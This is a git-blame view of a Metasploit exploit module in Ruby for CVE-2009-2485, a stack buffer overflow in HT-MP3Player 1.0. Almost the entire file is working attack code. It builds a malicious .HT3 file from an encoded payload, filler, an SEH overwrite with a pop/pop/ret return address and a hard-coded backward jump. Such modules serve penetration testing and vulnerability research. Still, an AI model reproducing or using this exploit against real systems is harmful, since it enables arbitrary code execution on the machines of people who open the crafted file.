Files
metasploit-gs/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

93 lines
2.5 KiB
Ruby
Raw Normal View History

2009-11-14 02:37:18 +00:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-11-14 02:37:18 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2009-12-06 05:50:37 +00:00
Rank = GoodRanking
2009-11-14 02:37:18 +00:00
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Seh
2009-11-14 02:37:18 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'HT-MP3Player 1.0 HT3 File Parsing Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in HT-MP3Player 1.0.
Arbitrary code execution could occur when parsing a specially crafted
2009-11-14 02:37:18 +00:00
.HT3 file.
2009-11-14 02:37:18 +00:00
NOTE: The player installation does not register the file type to be
handled. Therefore, a user must take extra steps to load this file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hack4love <hack4love[at]hotmail.com>',
'His0k4',
'jduck',
],
'References' =>
[
[ 'CVE', '2009-2485' ],
[ 'OSVDB', '55449' ],
2012-06-28 14:27:12 -05:00
[ 'EDB', '9034' ],
[ 'EDB', '9038' ]
2009-11-14 02:37:18 +00:00
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'AllowWin32SEH' => true
},
2009-11-14 02:37:18 +00:00
'Payload' =>
{
'Space' => 4108,
'DisableNops' => 'True',
# input restriction: UTF-8!
2009-11-14 13:26:27 +00:00
'BadChars' => [0,0x0a,0x0d,*(0x80..0xcf)].pack("C*"),
2009-11-14 02:37:18 +00:00
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'StackAdjustment' => -8500,
},
'Platform' => 'win',
'Targets' =>
2009-11-14 02:37:18 +00:00
[
[ 'HT-MP3Player 1.0',
{
'Ret' => 0x00406cff, # pop/pop/ret @ HTMP3Player.exe
}
],
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2009-06-29',
2009-11-14 02:37:18 +00:00
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.ht3']),
])
2009-11-14 02:37:18 +00:00
end
def exploit
2009-11-14 02:37:18 +00:00
# payload first
bof = payload.encoded
2009-11-14 02:37:18 +00:00
# filler
2009-11-14 04:33:42 +00:00
bof << rand_text_alphanumeric(payload_space - bof.length)
2009-11-14 02:37:18 +00:00
# NOTE: the nul smashes a nul, oh no!
sehrec = generate_seh_record(target.ret)
# jmp -4108 (depends on target addr ending with 0xff)
sehrec[0,4] = "\xe9\xef\xef\xff"
2009-11-14 02:37:18 +00:00
bof << sehrec
2009-11-14 02:37:18 +00:00
# crash reading from offset 4096 (put bad addr here)
bof[4096,4] = [0xf0f0f0f0].pack('V')
2009-11-14 02:37:18 +00:00
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(bof)
2009-11-14 02:37:18 +00:00
end
end